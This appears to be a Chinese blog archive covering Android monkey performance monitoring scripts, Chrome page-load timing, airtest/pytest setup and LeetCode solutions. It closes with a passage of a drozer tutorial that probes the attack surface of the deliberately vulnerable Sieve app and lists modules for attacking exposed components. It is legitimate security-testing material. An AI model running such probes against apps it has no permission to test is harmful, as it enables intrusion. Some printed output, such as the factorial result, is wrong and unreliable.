0%

之前写过monkey方面的测试,这次刚好有项目用到,并且需要监控性能信息,所以重构了一次

monkey 压力测试android

  • python3
  • 统计性能信息cpu,men,fps,battery,flow
  • 支持wifi,gprs统计
  • 统计crash信息
  • 查看源码

monkey.ini 配置文件

1
2
3
4
5

cmd=adb shell monkey -p com.jianshu.haruki --throttle 500 --ignore-timeouts --ignore-crashes --monitor-native-crashes -v -v -v 200 >
package_name=com.jianshu.haruki
activity = com.baiji.jianshu.account.SplashScreenActivity
net = wifi
  • throttle 每次事件等待500毫秒
  • net 支持gprs和wifi

image-20220623165014473

image-20220623165039643

image-20220623165114249

代码分析

主要监控代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
def get_cpu(pkg_name):
cmd = "adb shell dumpsys cpuinfo | findstr " + pkg_name
print(cmd)
output = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.readlines()
for info in output:
if info.split()[1].decode().split("/")[1][:-1] == pkg_name: # 只有包名相等
# print("cpu=" + info.split()[2].decode())
cpu.append(float(info.split()[2].decode().split("%")[0]))
print("----cpu-----")
print(cpu)
return cpu


def get_men(pkg_name):
cmd = "adb shell dumpsys meminfo %s" % (pkg_name)
print(cmd)
men_s = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.readlines()
for info in men_s:
if len(info.split()) and info.split()[0].decode() == "TOTAL":
# print("men="+info.split()[1].decode())
men.append(int(info.split()[1].decode()))
print("----men----")
print(men)
return men


# 得到fps
'''
@author fenfenzhong
'''


def get_fps(pkg_name):
_adb = "adb shell dumpsys gfxinfo %s" % pkg_name
print(_adb)
results = os.popen(_adb).read().strip()
frames = [x for x in results.split('\n') if validator(x)]
frame_count = len(frames)
jank_count = 0
vsync_overtime = 0
render_time = 0
for frame in frames:
time_block = re.split(r'\s+', frame.strip())
if len(time_block) == 3:
try:
render_time = float(time_block[0]) + float(time_block[1]) + float(time_block[2])
except Exception as e:
render_time = 0


if render_time > 16.67:
jank_count += 1
if render_time % 16.67 == 0:
vsync_overtime += int(render_time / 16.67) - 1
else:
vsync_overtime += int(render_time / 16.67)

_fps = int(frame_count * 60 / (frame_count + vsync_overtime))
fps.append(_fps)
# return (frame_count, jank_count, fps)
print("-----fps------")
print(fps)
return fps


def get_battery():
_batter = subprocess.Popen("adb shell dumpsys battery", shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE).stdout.readlines()
for info in _batter:
if info.split()[0].decode() == "level:":
battery.append(int(info.split()[1].decode()))
print("-----battery------")
print(battery)
return int(info.split()[1].decode())


def get_pid(pkg_name):
pid = subprocess.Popen("adb shell ps | findstr " + pkg_name, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE).stdout.readlines()
for item in pid:
if item.split()[8].decode() == pkg_name:
return item.split()[1].decode()


def get_flow(pkg_name, type):
pid = get_pid(pkg_name)
if pid is not None:
_flow = subprocess.Popen("adb shell cat /proc/" + pid + "/net/dev", shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE).stdout.readlines()
for item in _flow:
if type == "wifi" and item.split()[0].decode() == "wlan0:": # wifi
# 0 上传流量,1 下载流量
flow[0].append(int(item.split()[1].decode()))
flow[1].append(int(item.split()[9].decode()))
print("------flow---------")
print(flow)
return flow
if type == "gprs" and item.split()[0].decode() == "rmnet0:": # gprs
print("--------------")
flow[0].append(int(item.split()[1].decode()))
flow[1].append(int(item.split()[9].decode()))
return flow
else:
flow[0].append(0)
flow[1].append(0)
return flow

  • 代码入口:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if ba.attached_devices():
mc = BaseMonkeyConfig.monkeyConfig(PATH("monkey.ini"))
# 打开想要的activity
ba.open_app(mc["package_name"], mc["activity"])
temp = ""
# monkey开始测试
start_monkey(mc["cmd"], mc["log"])
time.sleep(1)
starttime = datetime.datetime.now()
while True:
with open(mc["monkey_log"], encoding='utf-8') as monkeylog:
BaseMonitor.get_cpu(mc["package_name"])
BaseMonitor.get_men(mc["package_name"])
BaseMonitor.get_fps(mc["package_name"])
BaseMonitor.get_battery()
BaseMonitor.get_flow(mc["package_name"], mc["net"])
time.sleep(1) # 每1秒采集检查一次
if monkeylog.read().count('Monkey finished') > 0:
endtime = datetime.datetime.now()
print("测试完成咯")
app = {"beforeBattery": BaseMonitor.get_battery(), "net": mc["net"], "monkey_log": mc["monkey_log"]}
report(app, str((endtime - starttime).seconds) + "秒")
bo.close()

Android专项测试

  • 项目名:
  • 测试人:
  • 测试机型:华为 P6 ,全网通, 64+4 ,4核cpu
  • 总分:23

详细报告

首次启动(冷启动)

  • 优先级:P0
  • 预期结果:3秒内启动
  • 测试手段(任选一种测试方法)
    • logcat监控ActivityManange
    • adb shell am start -v
    • 人工秒表计数
  • 实际结果:4秒启动
  • 实际得分:2分

优先级:一般从大到小分为P0,P1,P2

得分:满分3分,满足预期结果90%的2分,满足预期结果85%得1分,低于预期结果85%得0分

非第一次启动(热启动)

  • 优先级:P0
  • 预期结果:2秒内启动
  • 测试手段:应用运行到后台,采用冷启动的侧测试方法

内存测试

  • 优先级:P0
  • 预期结果:无明细内存泄漏
  • 测试手段(任选其中之一):
    • 在核心页面或图片较多页面用android sdk中的Monitor观察
    • monkey随机事件,adb shell dumpsys meninfo监控内存每秒情况
  • 实际结果:轮播图发现占用内存逐渐增大,偶先闪退
  • 实际得分:0

CPU测试

  • 优先级:P1

  • 预期结果:cpu占用不出现长期过高,或者极大波动

  • 测试手段(任选其中之一):

    • 在核心界面,adb shell 后,用top监控
    • monkey命令后,用adb shell dumpsys cpuinfo
  • 实际结果:cpu正常工作

  • 实际得分:3

耗电量测试

  • 优先级:P2
  • 预期结果:
    • 装目标APP,待机功耗无明细差别
    • 进入待机,电流在正常范围
    • 长时间使用应用耗电量正常(和竞品对比)
  • 测试手段(任选其一):
    • 采用市场上第三方工具,如金山电池、 Battery Historian
    • 基于PowerManager.wakeLock进行自研
    • 更准确的测试:功耗计算=CPU消耗+WakeLock消耗+数据传输消耗+GPS消耗+WiFi连接消耗
    • db shell dumpsys battery resetadb shell dumpsys batterystats --enable full-wake-history 清空耗电结合自带手机管家(可以看耗电详情),也可以使用db shell dumpsys batterystats com.wawj.app.t | more > C:\Users\del\Desktop\a.txt收集目标应用耗电量

流量使用情况

  • 优先级:P2

  • 预期结果:流量上传下载不出现消耗过大

  • 测试手段(任选一种测试方法)

    • 第三方工具,如流量宝
    • 抓包工具:tcpdmp
    • adb获取
    1
    adb shell cat /proc/" + pid + "/net/dev

UI性能测试

  • 优先级:P1

显示GPU过渡绘制

  • 预期结果:绘制颜色不能出现大量的红色
  • 测试手段:
    • 打卡开发者GPU渲染,绘制的颜色标识从好到差为蓝色、浅绿色、淡红色、红色

fps测试

  • 预期结果:一秒60帧,计算下来大概16.7ms一帧

  • 测试手段:

    • 在开发者模式下,点击“GPU更显模式分析”→勾选上“dab shell dumpsys gfxinfo” ,然后执行adb shell dumpsys gfxinfo 包名>fps.txt 用excel统计

图片压缩

  • 优先级:P2
  • 预期结果:不能太大,需要压缩
  • 测试手段:抓包

缓存测试

  • 优先级:P2
  • 预期结果:图片和公用分类的缓存机制
  • 测试手段:
    • 第一次和第二次查看列表图片的抓包对比
    • 第一次和第二次城市列表的分类抓包对比
  • 实际结果
  • 实际得分

其他

  • excel图片展示报告

chrome浏览器的开发工具network

image-20220427160911385

Finish,DOMLoaded和Load的区别

DOMLoadedLoad

  • DOMContentLoaded Load 分别对应 页面 DOMContentLoadedLoad 事件触发的时间点
  • DOMContentLoadedDOM树构建完成。即HTML页面由上向下解析HTML结构到末尾封闭标签</html>
  • Load:页面加载完毕。 DOM树构建完成后,继续加载html/css 中的图片资源等外部资源,加载完成后视为页面加载完毕。
  • DOMContentLoaded 会比 Load 时间小,两者时间差大致等于外部资源加载的时间。
    看看下面这个例子:
1
2
3
4
5
6
<html>
<script src=1.js></script>
<script src=2.js></script>
<img src=1.jpg />
<script src=3.js></script>
</html>
  • 3.js 执行(不包括异步部分)后,后面的 html 才能允许渲染, DOMContentLoaded 应该是指 最后一个字节都被渲染出来后的时间 (onDocumentChange 状态变成 ready )。而 onLoad 的触发除了dom还包括所有依赖元素,上例中就是要等 1.jpg 加载完成(或出错)后才能触发

看下Finish

  • Chrome devtools中的Finish时间似乎包括页面上的异步加载(非阻塞)对象/元素,这些对象/元素可能会在页面的onload事件触发后继续下载。
  • 一般来说,网站的响应时间意味着Load时间,因为用户可以更容易地感知到这一点,此时用户可以看到浏览器已完成工作并且页面已准备就绪。
  • 在某些情况下,似乎Finish永远不会停止并继续增加,因此它可能不是对网页响应时间的最佳评估。
  • 经过测试会出现会出现Finish 的时间比 Load 大也有可能小,引用于这篇文章

    Finish 时间与DOMContentLoaded 和 Load 并无直接关系。
    Finish 时间是页面上所有 http 请求发送到响应完成的时间,HTTP1.0/1.1 协议限定,单个域名的请求并发量是 6 个,即Finish是所有请求(不只是XHR请求,还包括DOC,img,js,css等资源的请求)在并发量为6的限制下完成的时间。
    Finish 的时间比 Load 大,意味着页面有相当部分的请求量,
    Finish 的时间比 Load 小,意味着页面请求量很少,如果页面是只有一个 html文档请求的静态页面,Finish时间基本就等于HTML文档请求的时间
    页面发送请求和页面解析文档结构,分属两个不同的线程,

实践列子

  • 看看官网的例子
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    import PyChromeDevTools
    import time
    import os
    os.chdir(r"C:\Users\Administrator\AppData\Local\Google\Chrome\Application")
    cmd = "chrome.exe --remote-debugging-port=9222"
    os.popen(cmd)
    chrome = PyChromeDevTools.ChromeInterface()
    chrome.Network.enable()
    chrome.Page.enable()
    chrome.Page.reload(ignoreCache=True) # 不带缓存
    start_time=time.time()
    chrome.Page.navigate(url="http://www.baidu.com/")
    chrome.wait_event("Page.loadEventFired", timeout=60)
    end_time = time.time()
    print("Page Loading Time:", end_time-start_time)
    chrome.close()

得到结果为:

1
2
3
Page Loading Time: 1.702894687652588
Page Loading Time: 1.658094882965088
Page Loading Time: 1.5752882957458496

在chrome浏览器的console下调试,基本上和load时间一致:
image-20220427160947950

在chrome 浏览器里调试

  • Console输入 window.performance.getEntries(),可以看到页面上所有的资源请求,不统计404的请求
    image-20220427161012309
  • 有65个请求,里面有请求的哪个节点耗时,和url,查看第一个请求duration其实就是页面的load时间

image-20220427161048311

image-20220427161108589

  • 想过把这所有资源的duration相加应该就能得到Finish时间?,经过测试,当然是不行的,第一个请求duration虽然是页面的load时间,但是它可能包含了页面上的非异步的请求,同时也包含了css,img,dom的加载时间,因此相加统计肯定会被Finish要大

关于自动化

  • 可以结合selenium来使用
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    from selenium import webdriver
    import os
    PATH = lambda p: os.path.abspath(
    os.path.join(os.path.dirname(__file__), p)
    )
    chrome_driver = PATH("exe/chromedriver.exe")
    os.environ["webdriver.chrome.driver"] = chrome_driver
    driver = webdriver.Chrome(chrome_driver)
    driver.get("http://www.baidu.com")
    data = driver.execute_script("return window.performance.getEntries();")
    print(data)

移动端h5性能测试

  • 打开手机usb调试
  • 如果是想调试混合app的webview,请打开:
    1
    2
    3
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    MtcWebView.setWebContentsDebuggingEnabled(true);
    }
  • 手机连接电脑后,打开chrome,输入chrome://inspect/#devices
  • 然后就可以进行调试了

image-20220427161218594

image-20220427161238398

image-20220427161255522

扩展阅读

验证回文串

  • 给定一个字符串,验证它是否是回文串,只考虑字母和数字字符,可以忽略字母的大小写。
  • 说明:本题中,我们将空字符串定义为有效的回文串。
  • 本题来自这里

代码

1
2
3
4
5
6
7
8
9
10
11
12
class Solution:
def isPalindrome(self, s: str) -> bool:
# 字符串转为小写
new_str = s.lower()
new_list = list()
for i in new_str:
# 过滤数字
if i.isalnum():
new_list.append(i)
# 字符串转换为list,顺序和逆序进行对比
return (new_list[::1] == new_list[::-1])

反转字符串

  • 给定一个字符串数组,将其反转

代码

  • 第一种:使用字符串切片
1
2
3
s = 'aaacccsss'
result = s[::-1]
print(result)
  • 第二种:使用列表的reverse方法
1
2
3
4
s = 'aaacccsss'
l = list(s)
l.reverse()
result = "".join(l)
  • 第三种:使用栈
1
2
3
4
5
6
7
8
def func(s):
l = list(s) #模拟全部入栈
result = ""
while len(l)>0:
result += l.pop() #模拟出栈
return result
result = func(s)

反转字符串中的单词 III

  • 给定一个字符串 s,将字符串中每个单词的字符顺序,同时仍保留空格和单词的初始顺序。
  • 题目来自这里

示例1:

输入: “the sky is blue”
输出: “blue is sky the”

示例2:

输入: “ hello world! “
输出: “world! hello”
解释: 输入字符串可以在前面或者后面包含多余的空格,但是反转后的字符不能包括。

示例3:

输入: “a good example”
输出: “example good a”
解释: 如果两个单词间有多余的空格,将反转后单词间的空格减少到只含一个。

解题思路

因为 Python 的字符串是不可变的,所以在原字符串空间上进行切换顺序操作肯定是不可行的了。但我们可以利用切片方法。

  • 将字符串按空格进行分割,分割成一个个的单词。
  • 再将每个单词进行反转。
  • 然后再将每个单词连接起来。

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Solution:
def reverseWords(self, s: str) -> str:
return " ".join(s.strip().split()[::-1])
# return " ".join([t for t in s.strip().split()][::-1])

def reverseWords1(self, s: str) -> str:
# 将字符串按空格进行分割,分割成一个个的单词列表,去掉了首位两端的空格
s1 = s.strip().split()
# 反转单单词列表
s2 = s1[::-1]
# 单词列表转换为字符连接起来
s3 = " ".join(s2)
return s3


resp = Solution().reverseWords("the sky is blue")
print(resp)

特点

  • 递归算法是一种直接或者间接地调用自身算法的过程,再计算机编写程序中,递归算法对解决一大类问题是十分有效的。

  1、递归就是在过程或函数里调用自身。

  2、在使用递归策略时,必须有一个明确的递归结束条件,称为递归出口。

  3、递归算法解题通常显得很简洁,但递归算法解题的运行效率较低。所以一般不提倡用递归算法设计程序。

  4、在递归调用的过程中系统为每一层的返回点、局部量等开辟了栈来存储。递归次数过多容易造成栈溢出等。

要求

  1、每次调用在规模上都有所缩小(通常是减半);

  2、相邻两次重复直接有紧密的联系,前一次要为后一次做准备(通常前一次的输出就作为后一次的输入);

  3、在问题的规模极小时必须用直接给出解答而不再进行递归调用,因而每次递归调用都是有条件的,无条件的递归将造成死循环而不能正常结束。

实例

  • 循环求余的值大于1,就除以2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def calc(n):
print("-------------")
print(n)
if n/2 >1:
# print(n)
res = calc(n/2)
print('res:',res)
return n
calc(10)



-------------
10 # 初始化值为10
-------------
5.0 # 第一次循环, 当10/2 >1,进入了第一次调用自己,得到值为5
-------------
2.5 # 第二次循环,当5/2 >1,进入了第一次调用自己,得到值为2.5
-------------
1.25 # 第三次循环,当2.5/2 >1,进入了第一次调用自己,得到值为1.25

# 最终得到三次结果
res: 1.25
res: 2.5
res: 5.0
  • 阶乘
1
2
3
4
5
6
7
8
9
10
def box(n):
if n <= 0:
return 1
else:
return n*box(n-1)

b = box(2)
print(b)

120

说明

  • 冒泡排序法是通过相邻元素之间的比较与交换,使值较小的元素逐步从后面移到前面,值较大的元素从前面移到后面,就像水底的气泡一样向上冒,故称这种排序方法为冒泡排序法。

冒泡算法步骤

  • 先将序列中第 1 个元素与第 2 个元素进行比较,若前者大于后者,则两者交换位置,否则不交换;
  • 然后将第 2 个元素与第 3 个元素比较,若前者大于后者,则两者交换位置,否则不交换;
  • 依次类推,直到第 n - 1 个元素与第 n 个元素比较(或交换)为止。经过如此一趟排序,使得 n 个元素中值最大元素被安置在序列的第 n 个位置上。

冒泡排序动画演示

bubbleSort

冒泡排序代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Solution:
def bubbleSort(self, arr):
for i in range(len(arr)):
for j in range(len(arr) - i - 1):
if arr[j] > arr[j + 1]:
arr[j], arr[j + 1] = arr[j + 1], arr[j]

return arr

def sortArray(self, nums):
return self.bubbleSort(nums)

if __name__ == "__main__":
st = Solution().sortArray([10,4,2,11,8])
print(st)

[2, 4, 8, 10, 11]

移动零

  • 原题来自于这里
  • 这是对冒泡算法的运用

题目大意

给你一个数组,将所有 0 移动到末尾,并保持原有的非 0 数字的相对顺序。要求只能在原数组上进行操作。

解题思路

  • 使用两个指针 left,right。left 指向处理好的非 0 数字数组的尾部,right 指针指向当前待处理元素。

  • 不断向右移动 right 指针,每次移动到非零数,则将左右指针对应的数交换,交换同时将 left 右移。

  • 此时,left 指针左边均为处理好的非零数,而从 left 指针指向的位置开始, right 指针左边都为 0。

  • 遍历结束之后,则所有 0 都移动到了右侧,且保持了非零数的相对位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Solution:
def moveZeroes(self, nums):
left = 0
right = 0
while right < len(nums):
# 不断向右移动 right 指针
if nums[right] != 0:
# 每次移动到非零数,则将左右指针对应的数交换,
nums[left], nums[right] = nums[right], nums[left]
# 交换同时将 left 右移
left += 1
# 不断向右移动 right 指针
right += 1
print(nums)
if __name__ == "__main__":
st = Solution().moveZeroes([1,1,0,1,0,1])

[1, 1, 1, 1, 0, 0]

说明

  • airtest自动化测试框架,使用的是unittest管理用例和air写用例,想试下使用pytest+纯py的方式,代码采用了PO代码接口

代码分析

  • 目录结构如下

image-20220419152528261

  • 先看下testcase用例目录下的conftest.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import pytest
from py._xmlgen import html
from airtest.core.api import *


# 注意pytest传参时,需要把设备编号收到传进来
def pytest_addoption(parser):
parser.addoption("--dev", action="store", dest="dev",default="设备")

@pytest.fixture(scope='session')
def dev(request):
return request.config.getoption("dev")


_poco = None


# @pytest.fixture()
@pytest.fixture(scope='session', autouse=True)
def poco(dev):
global _poco
device = connect_device("Android://127.0.0.1:5037/%s" % dev)

from poco.drivers.android.uiautomation import AndroidUiautomationPoco
_poco = AndroidUiautomationPoco(device, use_airtest_input=True, screenshot_each_action=False)
# 返回数据
yield _poco
# 实现用例后置



def pytest_html_results_table_header(cells):
cells.insert(1, html.th('用例名称'))
cells.insert(2, html.th('Test_nodeid'))
cells.pop(2)


def pytest_html_report_title(report):
report.title = "pytest示例项目测试报告"

  • 看下页面对象代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from airtest.core.api import snapshot, start_app, sleep, stop_app
import logging
from datetime import datetime
class MyPage(object):
@classmethod
def home(cls, poco):
logging.info("开始测试"+ datetime.now().strftime("%H:%M:%S"))
try:
stop_app('com.jianshu.haruki')
start_app('com.jianshu.haruki')
sleep(5)
except Exception:
pass
try:
poco("com.jianshu.haruki:id/iv_home_page").wait(10).click()
logging.info("点击了首页"+ datetime.now().strftime("%H:%M:%S"))

except Exception as e:
# snapshot(msg="报错后截图")
raise e

@classmethod
def info(cls):
pass
  • 然后用例调用page
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import pytest
from pages.my_page import MyPage


class TestCaseTestMy(object):

@pytest.mark.finished1
def test_my_01(self, poco):
MyPage.home(poco)

@pytest.mark.finished
def test_my_02(self, poco):
MyPage.home(poco)

@pytest.mark.finished
def test_my_03(self, poco):
MyPage.home(poco)

  • 运行方式一,直接输入命令
1
pytest testcase/大回归/小回归/冒烟 --dev=emulator-5554  --html=report.html --self-contained-html --capture=sys
  • 运行方式二,直接运行runner.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
from multiprocessing import Process
import pytest

def main(path, report, dev):
pytest.main(['%s' %path,'--dev=%s'% dev, '--html=%s' % report,'--self-contained-html', '--capture=sys'])

if __name__ == '__main__':
test_case = Process(target=main, args=("d:\\project\\pytest-airtest\\testcase\\大回归\\小回归\\冒烟","report1.html",'ZL9LC685V86DNNMN'))
test_case.start()


test_case1 = Process(target=main, args=("d:\\project\\pytest-airtest\\testcase\\大回归\\小回归\\","report2.html",'emulator-5554'))
test_case1.start()

test_case.join()
test_case1.join()
  • 测试报告,每个进程都生成了测试报告

image-20220419153433685

总结

  • 发现其实采用这样的方式来写代码,反而回降低用例的维护速度,无论是使用airtest还是appium,都不要太迷恋所谓的PO分层架构(TC+PO+YML/JSON,因为这也是之前某个自动化测试框架跨公司、跨部门推广失败原因之一
  • 有兴趣的话,我已经把此代码开源,可以查看github或者gitee

0724. 寻找数组的中心下标

  • 标签:数组
  • 难度:简单

题目大意

给定一个数组 nums,找到「左侧元素和」与「右侧元素和相等」的位置(索引),若找不到,则返回 -1。

解体思路1

除去中心索引,左边数和==右边数和

  • 先将数组全部的数和求出,作为右边的数
  • 左边做加法,右边做减法,对比左边和右边的值是否相等
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class Solution:

def pivotIndex1(self, nums):
left = 0
right = 0
for index in range(len(nums)):
# 先将数组全部的数和求出,作为右边的数
right += nums[index]
right = sum(nums)
for move in range(len(nums)):
# 右边做减法
right -= nums[move]
print("--right:%s--index-%s-" % (right,move))
# 当左边和右边的值相等,返回当前索引
if left == right:
return move
# 左边做加法
left += nums[move]
print("--left:%s--index-%s-" % (left,move))
return -1


if __name__ == "__main__":

data = [1,3,7,8,6,5]
t = Solution().pivotIndex1(data)
print(t)

解体思路2

两次遍历,第一次遍历先求出数组全部元素和。第二次遍历找到左侧元素和恰好为全部元素和一半的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Solution:
def pivotIndex(self, nums):
# 得到数组的总数
sum = 0
for i in range(len(nums)):
sum += nums[i]

# 左侧之和
curr_sum = 0
for i in range(len(nums)):
# 索引值+2*索引左边之和=数组总和
if curr_sum * 2 + nums[i] == sum:
return i
# 累加左侧之和
curr_sum += nums[i]
return -1


if __name__ == "__main__":

data = [1,3,7,8,6,5]
t = Solution().pivotIndex(data)
print(t)

说明

  • 本人零基础,数学基础极差,此系列开始学习下leetcode算法方面的题目
  • 都是leetcode的原题

0066. 加一

  • 难度:简单
  • 标签:数组
  • 本题来自这里

题目大意

  • 给定一个由 整数 组成的 非空 数组所表示的非负整数,在该数的基础上加一。

  • 最高位数字存放在数组的首位, 数组中每个元素只存储单个数字。

  • 你可以假设除了整数 0 之外,这个整数不会以零开头。

示例 1:

1
2
3
输入:digits = [1,2,3]
输出:[1,2,4]
解释:输入数组表示数字 123。

示例 2:

1
2
3
输入:digits = [4,3,2,1]
输出:[4,3,2,2]
解释:输入数组表示数字 4321。

示例 3:

1
2
输入:digits = [0]
输出:[1]

解体思路

  • 这道题把整个数组看成了一个整数,然后个位数 +1。问题的实质是利用数组模拟加法运算。

  • 如果个位数不为 9 的话,直接把个位数 +1 就好。如果个位数为 9 的话,还要考虑进位。

  • 还有一个注意的点:首位进位变成10之后也需要进行处理,因为会多一位数字

具体代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
class Solution(object):
def plusOne(self, digits):
"""
:type digits: List[int]
:rtype: List[int]
"""
# 最后一位值+1
digits[len(digits) - 1] += 1
# 以-1不停递减直到0,初始化值为最后一位索引
for i in range(len(digits) - 1, 0, -1):
# 末尾索引的值不为10,就退出循环
if digits[i] != 10:
break
else:
# 末尾的值为10,就把赋值为0
digits[i] = 0
# 末尾-1后的索引值+1
digits[i - 1] += 1

# 如果首位为10
if digits[0] == 10:
# 首位赋值为1
digits[0] = 1
# 在第二位新增值为0
digits.append(0)
return digits



if __name__ == "__main__":

data = [9,9,9]
t = Solution().plusOne(data)
print(t) # [1, 0, 0, 0]

data = [1,2,4]
t = Solution().plusOne(data)
print(t) # [1,2,5]

data = [0]
t = Solution().plusOne(data)
print(t) # [1]

参考资料

可以参考此系列,刷算法

介绍

drozer是一款针对Android系统的安全测试框架,可以分成两个部分:其一是console,它运行在本地计算机上;其二是server,它是一个安装在目标Android设备上的app,当使用consoleAndroid设备交互时,就是把Java代码输入到运行在实际设备上的drozer代理(agent)中。

安装

  • 本地电脑安装jdk1.7
1
2
3
4
C:\Users\Admin>java --version
java 17.0.2 2022-01-18 LTS
Java(TM) SE Runtime Environment (build 17.0.2+8-LTS-86)
Java HotSpot(TM) 64-Bit Server VM (build 17.0.2+8-LTS-86, mixed mode, sharing)
  • 本地电脑装adb
1
2
3
C:\Users\Admin>adb --version
Android Debug Bridge version 1.0.40
Version 4986621
  • 本地python的版本,记得配置好环境变量
1
2
C:\Users\Admin>python --version
Python 2.7.15

image-20220407085705247

  • python2.7script目录可以看到安装的drozer

image-20220407085922571

1
2
3
4
5
6
7
8
9
C:\Users\Admin>adb devices
List of devices attached
* daemon not running; starting now at tcp:5037
* daemon started successfully
emulator-5554 device


C:\Users\Admin>adb install d:\appsafetest\drozer-agent-2.3.4.apk
Success

image-20220407090727709

  • 模拟器中启动server

image-20220407093534775

  • 安装依赖文件
1
2
3
4
5
6
python -m pip install --upgrade pip
pip install pyyaml
pip install protobuf==3.17.3 # 一定要这个版本,用最新的版本无法启动drozer
pip install pyOpenSSL
pip install twisted
pip install service_identity
  • 使用 adb 进行端口转发,转发到上边Drozer使用的端口 31415
1
adb forward tcp:31415 tcp:31415
  • 测试是否可以启动drozer
    • 一定要用cd进入到drozer的安装目录(D:\app\Python27\Scripts),不然drozer不能正常使用
    • 然后执行drozer.bat console connect连接drozerserver
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
cd D:\app\Python27\Scripts

D:\app\Python27\Scripts>drozer.bat console connect

.. ..:.
..o.. .r..
..a.. . ....... . ..nd
ro..idsnemesisand..pr
.otectorandroidsneme.
.,sisandprotectorandroids+.
..nemesisandprotectorandroidsn:.
.emesisandprotectorandroidsnemes..
..isandp,..,rotectorandro,..,idsnem.
.isisandp..rotectorandroid..snemisis.
,andprotectorandroidsnemisisandprotec.
.torandroidsnemesisandprotectorandroid.
.snemisisandprotectorandroidsnemesisan:
.dprotectorandroidsnemesisandprotector.

drozer Console (v2.4.4)

  • 查看下drozer的模块列表
1
2
3
4
5
6
7
8
9
10
11
12
dz> list
app.activity.forintent Find activities that can handle the given intent
app.activity.info Gets information about exported activities.
app.activity.start Start an Activity
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
app.package.attacksurface Get attack surface of package
app.package.backup Lists packages that use the backup API (returns true on FLAG_ALLOW_BACKUP)
app.package.debuggable Find debuggable packages
.....

  • 常用模块
模块名 作用
app.activity.forintent 通过intent查找它的activity
app.activity.info 获取activities信息
app.activity.start 开启 Activity
app.broadcast.info 获取broadcast receivers信息
app.broadcast.send 发送广播
app.broadcast.sniff 嗅探广播中intent的数据
app.package.attacksurface 确定安装包的可攻击面
app.package.backup 列出可备份的包
app.package.debuggable 列出可debug的包
app.package.info 获取已安装包的信息
app.package.launchintent 获取程序启动的activity信息
app.package.list 手机已安装的程序包
app.package.manifest 获取程序manifest文件信息
app.package.native 列出Native libraries 信息
app.package.shareduid 查找拥有共同uid的包和他们所有的权限
app.provider.columns 展示content provider URI的各列
app.provider.delete 删除content provider URI的内容
app.provider.download 使用openInputStream读取指定uri的内容,并下载在电脑中
app.provider.info 获取 content providers信息
app.provider.insert 插入数据到content provider
app.provider.query 查询content provider 内容
app.provider.read 使用openInputStream读取指定uri的内容
app.provider.update 更新content provider的内容
app.service.info 获取services的信息
app.service.send 使用 Message攻击暴露的service,其service实现了handleMessage
app.service.start 开启服务
app.service.stop 停止服务

实例

  • 本次的apk来自于这里,提前安装到模拟器上
  • 测试步骤来源这里,非常感谢此博客的分享
  • 查找包含sieve的包名
1
2
dz> run app.package.list -f sieve
com.mwr.example.sieve (Sieve)
  • 查看包名的信息,我们已经获得应用数据目录、apk的路径、UID、GID等信息。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
dz> run app.package.info -a  com.mwr.example.sieve
Package: com.mwr.example.sieve
Application Label: Sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/user/0/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-1/base.apk
UID: 10039
GID: [3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS

确定可攻击面

1
2
3
4
5
6
7
8
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
1 content providers exported
0 services exported
is debuggable

activity组件

应用程序中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。 Activity之间通过Intent进行通信。在Intent的描述结构中,有两个最重要的部分:动作和动作对应的数据。

  • 通过上边的命令可以发现activity存在问题,我们查看下用apktool d sieve.apk反编译出的的安装包的AndroidManifest.xml文件,可看到将activityexported设置为true。说明存在被导出的分险

image-20220407105213231

  • 查看对外的activity组件信息
1
2
3
4
5
6
7
8
9
dz>  run app.activity.info -a com.mwr.example.sieve
